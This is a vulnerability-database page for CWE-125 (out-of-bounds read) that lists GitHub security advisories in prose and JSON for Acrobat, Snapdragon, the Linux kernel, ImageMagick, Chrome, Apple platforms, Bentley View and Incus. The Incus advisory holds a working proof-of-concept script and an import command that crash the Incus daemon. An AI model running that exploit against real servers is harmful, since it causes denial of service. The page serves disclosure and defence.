Common Weakness Enumeration
CWE-125
AllowedOut-of-bounds Read
Abstraction: Base · Status: Draft
The product reads data past the end, or before the beginning, of the intended buffer.
11401 vulnerabilities reference this CWE, most recent first.
GHSA-4M5X-5X2C-3M68
Vulnerability from github – Published: 2022-05-17 02:32 – Updated: 2022-05-17 02:32
VLAI
Details
Adobe Acrobat Reader versions 11.0.19 and earlier, 15.006.30280 and earlier, 15.023.20070 and earlier have an exploitable memory corruption vulnerability in the Product Representation Compact (PRC) format parser. Successful exploitation could lead to arbitrary code execution.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2017-3019"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-12T14:59:00Z",
"severity": "HIGH"
},
"details": "Adobe Acrobat Reader versions 11.0.19 and earlier, 15.006.30280 and earlier, 15.023.20070 and earlier have an exploitable memory corruption vulnerability in the Product Representation Compact (PRC) format parser. Successful exploitation could lead to arbitrary code execution.",
"id": "GHSA-4m5x-5x2c-3m68",
"modified": "2022-05-17T02:32:44Z",
"published": "2022-05-17T02:32:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-3019"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/acrobat/apsb17-11.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97556"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038228"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M5X-PMJC-PFVR
Vulnerability from github – Published: 2022-05-14 01:45 – Updated: 2022-05-14 01:45
VLAI
Details
Buffer overread while decoding PDP modify request or network initiated secondary PDP activation in Snapdragon Automobile, Snapdragon Mobile and Snapdragon Wear in versions MDM9206, MDM9607, MDM9615, MDM9625, MDM9635M, MDM9640, MDM9645, MDM9650, MDM9655, MSM8909W, MSM8996AU, SD 210/SD 212/SD 205, SD 410/12, SD 425, SD 430, SD 450, SD 615/16/SD 415, SD 625, SD 650/52, SD 810, SD 820, SD 820A, SD 835, SD 845, SD 850, SDA660, SDA845, SDX20, SXR1130.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-5916"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-28T15:29:00Z",
"severity": "MODERATE"
},
"details": "Buffer overread while decoding PDP modify request or network initiated secondary PDP activation in Snapdragon Automobile, Snapdragon Mobile and Snapdragon Wear in versions MDM9206, MDM9607, MDM9615, MDM9625, MDM9635M, MDM9640, MDM9645, MDM9650, MDM9655, MSM8909W, MSM8996AU, SD 210/SD 212/SD 205, SD 410/12, SD 425, SD 430, SD 450, SD 615/16/SD 415, SD 625, SD 650/52, SD 810, SD 820, SD 820A, SD 835, SD 845, SD 850, SDA660, SDA845, SDX20, SXR1130.",
"id": "GHSA-4m5x-pmjc-pfvr",
"modified": "2022-05-14T01:45:46Z",
"published": "2022-05-14T01:45:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5916"
},
{
"type": "WEB",
"url": "https://www.qualcomm.com/company/product-security/bulletins"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105838"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4M6W-VXQG-9RMM
Vulnerability from github – Published: 2023-12-08 18:30 – Updated: 2024-07-08 18:31
VLAI
Details
An out-of-bounds read vulnerability was found in smbCalcSize in fs/smb/client/netmisc.c in the Linux Kernel. This issue could allow a local attacker to crash the system or leak internal kernel information.
Severity
7.1 (High)
{
"affected": [],
"aliases": [
"CVE-2023-6606"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-08T17:15:07Z",
"severity": "HIGH"
},
"details": "An out-of-bounds read vulnerability was found in smbCalcSize in fs/smb/client/netmisc.c in the Linux Kernel. This issue could allow a local attacker to crash the system or leak internal kernel information.",
"id": "GHSA-4m6w-vxqg-9rmm",
"modified": "2024-07-08T18:31:14Z",
"published": "2023-12-08T18:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6606"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0723"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0725"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0881"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:0897"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1188"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1248"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1404"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:2094"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-6606"
},
{
"type": "WEB",
"url": "https://bugzilla.kernel.org/show_bug.cgi?id=218218"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2253611"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00016.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M76-C833-WH93
Vulnerability from github – Published: 2025-08-12 21:31 – Updated: 2025-08-12 21:31
VLAI
Details
Substance3D - Painter versions 11.0.2 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-54188"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T21:15:36Z",
"severity": "MODERATE"
},
"details": "Substance3D - Painter versions 11.0.2 and earlier are affected by an out-of-bounds read vulnerability that could lead to disclosure of sensitive memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-4m76-c833-wh93",
"modified": "2025-08-12T21:31:21Z",
"published": "2025-08-12T21:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54188"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/substance3d_painter/apsb25-77.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4M78-FR6R-52PP
Vulnerability from github – Published: 2022-05-14 00:57 – Updated: 2022-05-14 00:57
VLAI
Details
In ImageMagick 7.0.8-13 Q16, there is a heap-based buffer over-read in the SVGStripString function of coders/svg.c, which allows attackers to cause a denial of service via a crafted SVG image file.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-18023"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-07T18:29:00Z",
"severity": "MODERATE"
},
"details": "In ImageMagick 7.0.8-13 Q16, there is a heap-based buffer over-read in the SVGStripString function of coders/svg.c, which allows attackers to cause a denial of service via a crafted SVG image file.",
"id": "GHSA-4m78-fr6r-52pp",
"modified": "2022-05-14T00:57:41Z",
"published": "2022-05-14T00:57:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18023"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/issues/1336"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4034-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M7C-C75J-4G7G
Vulnerability from github – Published: 2026-06-09 00:33 – Updated: 2026-06-09 03:31
VLAI
Details
Out of bounds read and write in Media in Google Chrome on Mac prior to 149.0.7827.103 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-11690"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T00:16:52Z",
"severity": "HIGH"
},
"details": "Out of bounds read and write in Media in Google Chrome on Mac prior to 149.0.7827.103 allowed a remote attacker who had compromised the renderer process to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)",
"id": "GHSA-4m7c-c75j-4g7g",
"modified": "2026-06-09T03:31:39Z",
"published": "2026-06-09T00:33:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11690"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0153744567.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/517533654"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M7P-23X7-87X5
Vulnerability from github – Published: 2022-05-24 16:48 – Updated: 2024-04-04 01:04
VLAI
Details
Missing type check in V8 in Google Chrome prior to 67.0.3396.62 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-6136"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-27T17:15:00Z",
"severity": "MODERATE"
},
"details": "Missing type check in V8 in Google Chrome prior to 67.0.3396.62 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page.",
"id": "GHSA-4m7p-23x7-87x5",
"modified": "2024-04-04T01:04:39Z",
"published": "2022-05-24T16:48:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6136"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2018/05/stable-channel-update-for-desktop_58.html"
},
{
"type": "WEB",
"url": "https://crbug.com/831943"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M83-J6WP-JRP5
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2023-01-09 18:30
VLAI
Details
An out-of-bounds read was addressed with improved input validation. This issue is fixed in macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave, macOS Big Sur 11.0.1, iOS 14.2 and iPadOS 14.2, watchOS 7.1, tvOS 14.2. Processing a maliciously crafted audio file may lead to arbitrary code execution.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2020-27908"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-02T18:15:00Z",
"severity": "HIGH"
},
"details": "An out-of-bounds read was addressed with improved input validation. This issue is fixed in macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave, macOS Big Sur 11.0.1, iOS 14.2 and iPadOS 14.2, watchOS 7.1, tvOS 14.2. Processing a maliciously crafted audio file may lead to arbitrary code execution.",
"id": "GHSA-4m83-j6wp-jrp5",
"modified": "2023-01-09T18:30:21Z",
"published": "2022-05-24T17:46:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27908"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211928"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211929"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211930"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211931"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212011"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M88-WXJ4-9QJ6
Vulnerability from github – Published: 2026-05-04 19:16 – Updated: 2026-05-08 19:26
VLAI
Summary
Incus Vulnerable to Panic via Snapshot Bounds Check
Details
Summary
Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.
Details
The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.
When iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.
An attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.
Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go
Affected Code:
func (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) {
[...]
postHook := func(inst instance.Instance) error {
[...]
for i, backupFileSnap := range srcBackup.Snapshots {
var volumeSnapDescription string
var volumeSnapConfig map[string]string
var volumeSnapExpiryDate time.Time
var volumeSnapCreationDate time.Time
// Check if snapshot volume config is available for restore and matches snapshot name.
if srcBackup.Config != nil {
if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap {
// Use instance snapshot's creation date if snap info available.
volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt
}
if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap {
// If the backup restore interface provides volume snapshot config use it,
// otherwise use default volume config for the storage pool.
volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description
volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config
if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil {
volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt
}
// Use volume's creation date if available.
if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() {
volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt
}
}
}
[...]
}
[...]
}
[...]
}
[...]
func (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error {
[...]
if !isRemoteClusterMove || args.StoragePool != "" {
for i, snapshot := range args.Snapshots {
snapName := snapshot.GetName()
newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName)
snapConfig := vol.Config() // Use parent volume config by default.
snapDescription := volumeDescription // Use parent volume description by default.
snapExpiryDate := time.Time{}
snapCreationDate := time.Time{}
// If the source snapshot config is available, use that.
if srcInfo != nil && srcInfo.Config != nil {
if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName {
// Use instance snapshot's creation date if snap info available.
snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt
}
if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName {
// Check if snapshot volume config is available then use it.
snapDescription = srcInfo.Config.VolumeSnapshots[i].Description
snapConfig = srcInfo.Config.VolumeSnapshots[i].Config
if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil {
snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt
}
// Use volume's creation date if available.
if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() {
snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt
}
}
}
[...]
}
}
[...]
}
PoC
The following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.
Step 1: Generate a valid backup and tamper with its snapshot metadata
From an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.
Commands:
cat <<'EOF' > poc_snapshot_bounds.sh
#!/bin/bash
set -e
BASE_NAME="base-$(date +%s)"
PANIC_NAME="panic-$(date +%s)"
incus init images:alpine/edge "$BASE_NAME" --project default
incus snapshot create "$BASE_NAME" snap0 --project default
incus export "$BASE_NAME" valid_snapshot_base.tar.gz --project default
mkdir -p extract_snapshot_bounds
tar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/
chmod -R u+rwX extract_snapshot_bounds/
python3 -c "
import os
import sys
base = '$BASE_NAME'
panic = '$PANIC_NAME'
with open('extract_snapshot_bounds/backup/index.yaml', 'r') as f:
lines = f.read().splitlines()
out = []
in_skip = False
skip_indent = 0
for line in lines:
line = line.replace(base, panic)
indent = len(line) - len(line.lstrip())
if in_skip:
if not line.strip():
continue
if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')):
continue
else:
in_skip = False
if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')):
out.append(line.split(':')[0] + ': []')
in_skip = True
skip_indent = indent
continue
out.append(line)
with open('extract_snapshot_bounds/backup/index.yaml', 'w') as f:
f.write('\n'.join(out))
"
cd extract_snapshot_bounds/
tar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/
cd ..
rm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz
echo "[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz"
EOF
bash poc_snapshot_bounds.sh
Result:
[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz
Step 2: Trigger the vulnerable restore path
From the same Incus client, import the crafted archive.
Command:
incus import exploit_snapshot_bounds_panic.tar.gz --project default
Result:
Error: websocket: close 1006 (abnormal closure): unexpected EOF
Credit
This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v6/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40251"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-129"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T19:16:25Z",
"nvd_published_at": "2026-05-06T21:16:01Z",
"severity": "HIGH"
},
"details": "### Summary\nMissing validation logic in the storage volume import logic allows an authenticated user with access to Incus\u0027 storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.\n\nWhen iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) \u003e= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i \u003e= len(slice), triggering a runtime panic.\n\nAn attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) {\n [...]\n postHook := func(inst instance.Instance) error {\n [...]\n for i, backupFileSnap := range srcBackup.Snapshots {\n var volumeSnapDescription string\n var volumeSnapConfig map[string]string\n var volumeSnapExpiryDate time.Time\n var volumeSnapCreationDate time.Time\n\n // Check if snapshot volume config is available for restore and matches snapshot name.\n if srcBackup.Config != nil {\n if len(srcBackup.Config.Snapshots) \u003e= i-1 \u0026\u0026 srcBackup.Config.Snapshots[i] != nil \u0026\u0026 srcBackup.Config.Snapshots[i].Name == backupFileSnap {\n // Use instance snapshot\u0027s creation date if snap info available.\n volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt\n }\n\n if len(srcBackup.Config.VolumeSnapshots) \u003e= i-1 \u0026\u0026 srcBackup.Config.VolumeSnapshots[i] != nil \u0026\u0026 srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap {\n // If the backup restore interface provides volume snapshot config use it,\n // otherwise use default volume config for the storage pool.\n volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description\n volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config\n\n if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil {\n volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt\n }\n\n // Use volume\u0027s creation date if available.\n if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() {\n volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt\n }\n }\n }\n\n [...]\n }\n [...]\n }\n [...]\n}\n\n[...]\n\nfunc (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error {\n [...]\n if !isRemoteClusterMove || args.StoragePool != \"\" {\n for i, snapshot := range args.Snapshots {\n snapName := snapshot.GetName()\n newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName)\n snapConfig := vol.Config() // Use parent volume config by default.\n snapDescription := volumeDescription // Use parent volume description by default.\n snapExpiryDate := time.Time{}\n snapCreationDate := time.Time{}\n\n // If the source snapshot config is available, use that.\n if srcInfo != nil \u0026\u0026 srcInfo.Config != nil {\n if len(srcInfo.Config.Snapshots) \u003e= i-1 \u0026\u0026 srcInfo.Config.Snapshots[i] != nil \u0026\u0026 srcInfo.Config.Snapshots[i].Name == snapName {\n // Use instance snapshot\u0027s creation date if snap info available.\n snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt\n }\n\n if len(srcInfo.Config.VolumeSnapshots) \u003e= i-1 \u0026\u0026 srcInfo.Config.VolumeSnapshots[i] != nil \u0026\u0026 srcInfo.Config.VolumeSnapshots[i].Name == snapName {\n // Check if snapshot volume config is available then use it.\n snapDescription = srcInfo.Config.VolumeSnapshots[i].Description\n snapConfig = srcInfo.Config.VolumeSnapshots[i].Config\n\n if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil {\n snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt\n }\n\n // Use volume\u0027s creation date if available.\n if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() {\n snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt\n }\n }\n }\n\n [...]\n }\n }\n [...]\n}\n```\n\n### PoC\n\nThe following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.\n\nStep 1: Generate a valid backup and tamper with its snapshot metadata\n\nFrom an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.\n\nCommands:\n```\ncat \u003c\u003c\u0027EOF\u0027 \u003e poc_snapshot_bounds.sh\n#!/bin/bash\nset -e\n\nBASE_NAME=\"base-$(date +%s)\"\nPANIC_NAME=\"panic-$(date +%s)\"\n\nincus init images:alpine/edge \"$BASE_NAME\" --project default\nincus snapshot create \"$BASE_NAME\" snap0 --project default\nincus export \"$BASE_NAME\" valid_snapshot_base.tar.gz --project default\n\nmkdir -p extract_snapshot_bounds\ntar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/\nchmod -R u+rwX extract_snapshot_bounds/\n\npython3 -c \"\nimport os\nimport sys\n\nbase = \u0027$BASE_NAME\u0027\npanic = \u0027$PANIC_NAME\u0027\n\nwith open(\u0027extract_snapshot_bounds/backup/index.yaml\u0027, \u0027r\u0027) as f:\n lines = f.read().splitlines()\n\nout = []\nin_skip = False\nskip_indent = 0\n\nfor line in lines:\n line = line.replace(base, panic)\n indent = len(line) - len(line.lstrip())\n\n if in_skip:\n if not line.strip():\n continue\n if indent \u003e skip_indent or (indent == skip_indent and line.lstrip().startswith(\u0027-\u0027)):\n continue\n else:\n in_skip = False\n\n if indent \u003e 0 and (line.lstrip().startswith(\u0027snapshots:\u0027) or line.lstrip().startswith(\u0027volume_snapshots:\u0027)):\n out.append(line.split(\u0027:\u0027)[0] + \u0027: []\u0027)\n in_skip = True\n skip_indent = indent\n continue\n\n out.append(line)\n\nwith open(\u0027extract_snapshot_bounds/backup/index.yaml\u0027, \u0027w\u0027) as f:\n f.write(\u0027\\n\u0027.join(out))\n\"\n\ncd extract_snapshot_bounds/\ntar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/\ncd ..\n\nrm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz\necho \"[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz\"\nEOF\n\nbash poc_snapshot_bounds.sh\n```\n\nResult:\n```\n[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz\n```\n\nStep 2: Trigger the vulnerable restore path\n\nFrom the same Incus client, import the crafted archive.\n\nCommand:\n```\nincus import exploit_snapshot_bounds_panic.tar.gz --project default\n```\n\nResult:\n```\nError: websocket: close 1006 (abnormal closure): unexpected EOF\n```\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
"id": "GHSA-4m88-wxj4-9qj6",
"modified": "2026-05-08T19:26:52Z",
"published": "2026-05-04T19:16:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40251"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Incus Vulnerable to Panic via Snapshot Bounds Check"
}
GHSA-4M8M-RJ7F-37V4
Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2022-03-01 00:00
VLAI
Details
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Bentley View 10.15.0.75. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of FBX files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-15460.
{
"affected": [],
"aliases": [
"CVE-2021-46630"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-18T20:15:00Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of Bentley View 10.15.0.75. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of FBX files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-15460.",
"id": "GHSA-4m8m-rj7f-37v4",
"modified": "2022-03-01T00:00:58Z",
"published": "2022-02-19T00:01:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46630"
},
{
"type": "WEB",
"url": "https://www.bentley.com/en/common-vulnerability-exposure/BE-2021-0012"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-22-217"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
